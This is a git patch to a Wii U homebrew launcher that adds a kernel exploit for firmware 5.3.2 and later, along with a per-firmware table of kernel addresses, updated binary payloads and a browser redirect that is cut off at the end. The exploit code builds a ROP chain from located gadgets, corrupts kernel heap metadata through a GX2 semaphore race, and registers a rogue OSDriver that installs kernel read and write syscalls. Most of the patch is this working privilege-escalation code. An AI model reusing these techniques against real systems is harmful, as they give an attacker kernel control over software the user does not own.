From 072f08e959c42c6fff02e1f74160323b51c91938 Mon Sep 17 00:00:00 2001 From: dimok789 Date: Tue, 3 May 2016 21:45:37 +0200 Subject: [PATCH] - merged new gx2sploit and replaced the OSDriver exploit for firmwares 5.3.2 and higher - added direct launch link implementation for 5.5.0/5.5.1 - added 5.5.1 redirect to correct payload in index.html (thanks to The_Marcster for point it out) - fixed sound clicking issue on firmware 3.x.x (thanks to FIX94) --- installer/kexploit.c | 184 +++++++++++- installer/kexploit.h | 29 +- src/Application.cpp | 2 +- www/homebrew_launcher/code532.bin | Bin 13676 -> 11728 bytes www/homebrew_launcher/code550.bin | Bin 13676 -> 11728 bytes www/homebrew_launcher/index.html | 9 +- www/homebrew_launcher/payload532.html | 412 +++++++++++++------------- 7 files changed, 404 insertions(+), 232 deletions(-) diff --git a/installer/kexploit.c b/installer/kexploit.c index cd09ee5..27568b8 100644 --- a/installer/kexploit.c +++ b/installer/kexploit.c @@ -1,12 +1,165 @@ #include "kexploit.h" -void wait(unsigned int t); +void wait(unsigned int coreinit_handle, unsigned int t); void doBrowserShutdown(unsigned int coreinit_handle); void setupOSScreen(unsigned int coreinit_handle); void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos); void exitOSScreen(unsigned int coreinit_handle); void callSysExit(unsigned int coreinit_handle, void *sysFunc); +#if (VER >= 532) +/* Initial setup code stolen from Pong, makes race much more reliable */ +void run_kexploit(private_data_t *private_data) +{ + /* Get a handle to coreinit.rpl and gx2.rpl */ + unsigned int coreinit_handle = private_data->coreinit_handle; + unsigned int gx2_handle = 0; + OSDynLoad_Acquire("gx2.rpl", &gx2_handle); + + //needed to not destroy screen + doBrowserShutdown(coreinit_handle); + + /* Exit functions */ + void (*__PPCExit)(); + void (*_Exit)(); + OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); + OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); + + /* Memory functions */ + void (*DCFlushRange)(void *buffer, uint32_t length); + void (*DCInvalidateRange)(void *buffer, uint32_t length); + void (*DCTouchRange)(void *buffer, uint32_t length); + uint32_t (*OSEffectiveToPhysical)(void *vaddr); + void* (*OSAllocFromSystem)(uint32_t size, int align); + void (*OSFreeToSystem)(void *ptr); + OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); + OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); + OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange); + OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical); + OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); + + /* OS thread functions */ + bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t *stack, uint32_t stack_size, int priority, uint16_t attr); + int (*OSResumeThread)(void *thread); + void (*OSExitThread)(); + int (*OSIsThreadTerminated)(void *thread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); + + /* OSDriver functions */ + uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; + uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); + uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; + uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); + uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; + uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); + uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; + uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); + + /* GX2 functions */ + void (*GX2SetSemaphore)(uint64_t *sem, int action); + void (*GX2Flush)(void); + OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); + OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush); + + /* Allocate space for DRVHAX */ + uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); + + /* Set the kernel heap metadata entry */ + uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); + metadata[0] = (uint32_t)drvhax; + metadata[1] = (uint32_t)-0x4c; + metadata[2] = (uint32_t)-1; + metadata[3] = (uint32_t)-1; + + /* Find some gadgets */ + uint32_t gx2data[] = {0xfc2a0000}; + uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); + uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; + uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); + uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; + uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); + uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; + uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; + + /* Modify a next ptr on the heap */ + uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; + + /* Make a thread to modify the semaphore */ + OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000,8); + uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xa0,0x20); + if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, stack + 0x28, 0xa0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); + + /* Set up the ROP chain */ + thread->gpr[1] = (uint32_t)stack; + thread->gpr[3] = kpaddr; + thread->gpr[30] = gx2data_addr; + thread->gpr[31] = 1; + thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; + + stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ + stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ + stack[0x2c/4] = 1; /* r31 = 1 (signal) */ + + stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ + stack[0x38/4] = kpaddr; + + stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ + + stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ + stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ + stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ + + stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ + + stack[0x94/4] = (uint32_t)OSExitThread; + + /* Start the thread */ + OSResumeThread(thread); + + /* Wait for a while */ + while(OSIsThreadTerminated(thread) == 0) + { + asm volatile ( + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + ); + } + + /* Free stuff */ + private_data->MEMFreeToDefaultHeap(thread); + private_data->MEMFreeToDefaultHeap(stack); + + /* Register a new OSDriver, DRVHAX */ + char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; + Register(drvname, 6, NULL, NULL); + + /* Modify its save area to point to the kernel syscall table */ + drvhax[0x44/4] = KERN_SYSCALL_TBL + (0x34 * 4); + + /* Use DRVHAX to install the read and write syscalls */ + uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; + CopyToSaveArea(drvname, 6, syscalls, 8); + + /* Clean up the heap and driver list so we can exit */ + kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); + kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); + + /* Modify the kernel address table and exit */ + //kern_write(KERN_ADDRESS_TBL + 0x12, 0x31000000); + //kern_write(KERN_ADDRESS_TBL + 0x13, 0x28305800); +} + +#else typedef struct { char *drvb_name; @@ -40,6 +193,7 @@ static void thread_callback(int argc, void *argv) container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000); } + /* Initial setup code stolen from Pong, makes race much more reliable */ void run_kexploit(private_data_t *private_data) { @@ -54,7 +208,7 @@ void run_kexploit(private_data_t *private_data) if(KERN_SYSCALL_TBL == 0) { printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1); - wait(0x3FFFFFFF); + wait(coreinit_handle, 0x3FFFF); exitOSScreen(coreinit_handle); } @@ -118,7 +272,7 @@ void run_kexploit(private_data_t *private_data) if (ret0 == false || ret2 == false) { printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1); - wait(0x2FFFFFFF); + wait(coreinit_handle, 0x3FFFF); exitOSScreen(coreinit_handle); } @@ -231,7 +385,7 @@ void run_kexploit(private_data_t *private_data) if (status != 0) { printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2); - wait(0x2FFFFFFF); + wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } @@ -241,7 +395,7 @@ void run_kexploit(private_data_t *private_data) if (!copy_payload) { printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2); - wait(0x2FFFFFFF); + wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } @@ -316,7 +470,7 @@ void run_kexploit(private_data_t *private_data) if (result != KERN_CODE_READ) { printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2); - wait(0x2FFFFFFF); + wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } @@ -341,7 +495,7 @@ void run_kexploit(private_data_t *private_data) if (!(drva_addr && drvhax_addr)) { printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2); - wait(0x2FFFFFFF); + wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } @@ -356,18 +510,22 @@ void run_kexploit(private_data_t *private_data) private_data->MEMFreeToDefaultHeap((void*)stack2); //printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2); - //wait(0x1FFFFFFF); + //wait(coreinit_handle, 0x3FFFF); //callSysExit(coreinit_handle,SYSSwitchToBrowser); //exitOSScreen(coreinit_handle); } +#endif -void wait(unsigned int t) + +void wait(unsigned int coreinit_handle, unsigned int t) { - // the wait times are too short with optimizations enabled so we double them - t *= 2; + void (*OSYieldThread)(void); + OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); while(t--) - asm volatile("nop"); + { + OSYieldThread(); + } } void doBrowserShutdown(unsigned int coreinit_handle) @@ -397,7 +555,7 @@ void doBrowserShutdown(unsigned int coreinit_handle) IM_Close(fd); OSFreeToSystem(mem); //wait a bit for browser end - wait(0x1FFFFFFF); + wait(coreinit_handle, 0x3FFFF); } void drawString(unsigned int coreinit_handle, int x, int y, char * string) diff --git a/installer/kexploit.h b/installer/kexploit.h index c6482c1..530490a 100644 --- a/installer/kexploit.h +++ b/installer/kexploit.h @@ -20,61 +20,63 @@ #define CODE_ADDRESS_END 0x0F848A0C #endif -/* Kernel addresses, for each new kernel */ +/* Kernel addresses, stolen from Chadderz */ +#define KERN_HEAP 0xFF200000 +#define KERN_HEAP_PHYS 0x1B800000 #if VER == 200 #define KERN_SYSCALL_TBL 0xFFE85910 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB4E00 - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR 0x00000000 #elif VER == 210 #define KERN_SYSCALL_TBL 0xFFE85910 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB4E40 - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR 0x00000000 #elif VER == 300 #define KERN_SYSCALL_TBL 0xFFE85950 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB66E4 - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR 0x00000000 #elif VER == 310 #define KERN_SYSCALL_TBL 0xFFE85950 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB66E4 - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR 0x00000000 #elif VER == 400 #define KERN_SYSCALL_TBL 0xFFE85890 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB7E5C - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR 0x00000000 #elif VER == 410 #define KERN_SYSCALL_TBL 0xffe85890 #define KERN_CODE_READ 0xfff02214 #define KERN_CODE_WRITE 0xfff02234 #define KERN_ADDRESS_TBL 0xffeb902c - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR 0x00000000 #elif VER == 500 #define KERN_SYSCALL_TBL 0xffea9520 #define KERN_CODE_READ 0xfff021f4 #define KERN_CODE_WRITE 0xfff02214 #define KERN_ADDRESS_TBL 0xffea9e4c - #define KERN_HEAP 0xFF200000 -#elif VER == 532 + #define KERN_DRVPTR 0x00000000 +#elif (VER == 532) || (VER == 540) #define KERN_SYSCALL_TBL 0xFFEAA0E0 #define KERN_CODE_READ 0xFFF02274 #define KERN_CODE_WRITE 0xFFF02294 #define KERN_ADDRESS_TBL 0xFFEAAA10 - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) #elif VER == 550 #define KERN_SYSCALL_TBL 0xFFEAAE60 #define KERN_CODE_READ 0xFFF023D4 #define KERN_CODE_WRITE 0xFFF023F4 #define KERN_ADDRESS_TBL 0xFFEAB7A0 - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) #else #error "Unsupported Wii U software version" #endif @@ -82,6 +84,11 @@ /* Browser PFID */ #define PFID_BROWSER 8 +/* Kernel heap constants */ +#define STARTID_OFFSET 0x08 +#define METADATA_OFFSET 0x14 +#define METADATA_SIZE 0x10 + /* Size of a Cafe OS thread */ #define OSTHREAD_SIZE 0x1000 diff --git a/src/Application.cpp b/src/Application.cpp index c0d199c..8551e14 100644 --- a/src/Application.cpp +++ b/src/Application.cpp @@ -28,7 +28,7 @@ Application *Application::applicationInstance = NULL; bool Application::exitApplication = false; Application::Application() - : CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff, 0, 0x20000) + : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x20000) , bgMusic(NULL) , video(NULL) , mainWindow(NULL) diff --git a/www/homebrew_launcher/code532.bin b/www/homebrew_launcher/code532.bin index 1d11c8dc0d9b6f5bf02cfe943faa1828e9cae3a9..d05df097c69f0ece304d92ea9699754fa44bee61 100644 GIT binary patch delta 2621 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 b<}%+NWFx}NYU0@4g*)bR6CHHmm*xKlIi6}> diff --git a/www/homebrew_launcher/code550.bin b/www/homebrew_launcher/code550.bin index c3474181fb4d4c3d6910988cdd355f40e4303db6..ea793305f07bc60c14d6a4fc7cab16f64a80ca2a 100644 GIT binary patch delta 2621 zcmZ`*e{2)?6@T}2VjS=^$2hLBede5`D2cCa7A5GsI86`%ObwI*onQrWSKB42T!?63 zF1z&3N|>lrRWaXmVp}_sfulB!RN90!o%j(1R7Gl~Okx_7*cLj{(GH|+VH%XCNuyj_M1~%yh{wIzDtok*$Qhu=18-|g`BZhG+sDKcLW!_%D@u_Md1ED@nXXnrN zgV;F6k?3DWE6{gHyJ8wZ--pnzSJga8=9k$rT>INMS~7cS#+yO|*F$8UqsTeFgZm9~ zw(sCZkhA7Flr0#@S$5y-crmtxV1r19gXXae7V<>0rXdl5)3UM2rUt778o=$QW%ds3G3VG+D5gJkm_Z3QCFh zkMw52^Taty!-Xq|_YQ3@^x3`l|1atcZ=-#MKO-d*w8H#6De0iEn^)BE6)f!q>N#67 z-u94_I(pOmTRXoVvjU9jwcPVLcG96mD+sU9tBZD%rPpY!1>;E3ot9F<@1eTIZRZa@ zD6p1>t{5H!pUR;$E6qyoD5Rpks?S?X}%w4bkg=FcB00)bb_CbNz6) zhvUjs)suX)93~nBjwqEUM!GISK}hCwR!b?$4>e9;;~1kAjo2XdXFcQW?O1Ii#(&b; zra@Wz3T<_KmkiI|_d0DdInBI+;ky@TS_9C{AL@tio0;%7PW&nSMHvt?a(DJQZf z8_OB&LGesZWZ920QRAmk9Qjr^onn!&=rEGQEF#893LH_-#s<|B@j=9_dOuu`82{yh zyTGa@JxSzMb?{++<_7XE^(5o|I>dfEVHb(g08)RRoFN1$oB5EKkU zc?!Jgs+^9ppq4F3=Jc7WH&?^SP@fH$^N2B1D5YS7`U+;>3DxR}OM~jk%Yzs=s9m^t zbZ|wCZ*HJXt$HA96VBT(p4p*|#*EHNZ-b02EUJgHrL-V+c-BC~@-h7vsSr5ufaQl5 zLCiLmY|B0k!&Mw|h3pT*(o$G4{J6q~llbZ9{YDL+doLzGbg7LLd z`F?e37aU91L$lP60X0A`R>hKD1;<{+UP}8>$Mej8w%26iQ9+L4p2ca182A4al8vwR zUqM)oo~}myN>JhOPh-ghy;V{}s_s#*(`^nEV#~Uy;B=Y;JcmUidL0gyICxPQM=0tTFy|VKkhS z2@KP5#(qxkx>u0E7u4(Vk-%3pR-Khy>bAGjQND&e zR!DF2yWPd35#wJw^b}ZFz-<4rv5+#41!>H;()sty0#qYC#i)f&t)nxH`rZPkHq!9& zmD-mVSSBnQIr_dNb;I_E@y`;(ZiRGXN{()9lDo^UBF4>Q&&*;|cjmEY^H{cLa%bPG z&YhjQJa4zL8L_(&W9ow}R-e7(nLPORyy3HX>@~zNKo-ns3g>o$v@D9 z;B!u%4#{IWuArD4T?#l4xV9$yX`kRGlZWXUVLzEHrq%u`a&waI^q-_drPWj{U8Zp0 z=(>R$+hQ8%x`1`YZ--5|UVex5*YV?r;fP5L!w;p2^VpH>zmcsW_R+;YzM8lED78);zwyJpnB(n>VjslWgmN=GE)>9#j%- zF{LBEMcKP2j>xus2coSx<>{?!UU(rM?Pxm~-?nda>nks}MU?~~if3m%uiIX;HQuo` l{*uz(x^I6RP+yxk@Nz5dt95ZO{Q09VeV^R9PD6Fo{{z(jpF{uv delta 4779 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 cXPC=;N05yOGpC6ow-@eM$W3Store the exact browser version to a string versionNumber=versionRE[1]; + -->See if browser is for Wii U version 5.5.1 + if(versionNumber == "3.0.4.2.12") + { + -->Display message and redirect to 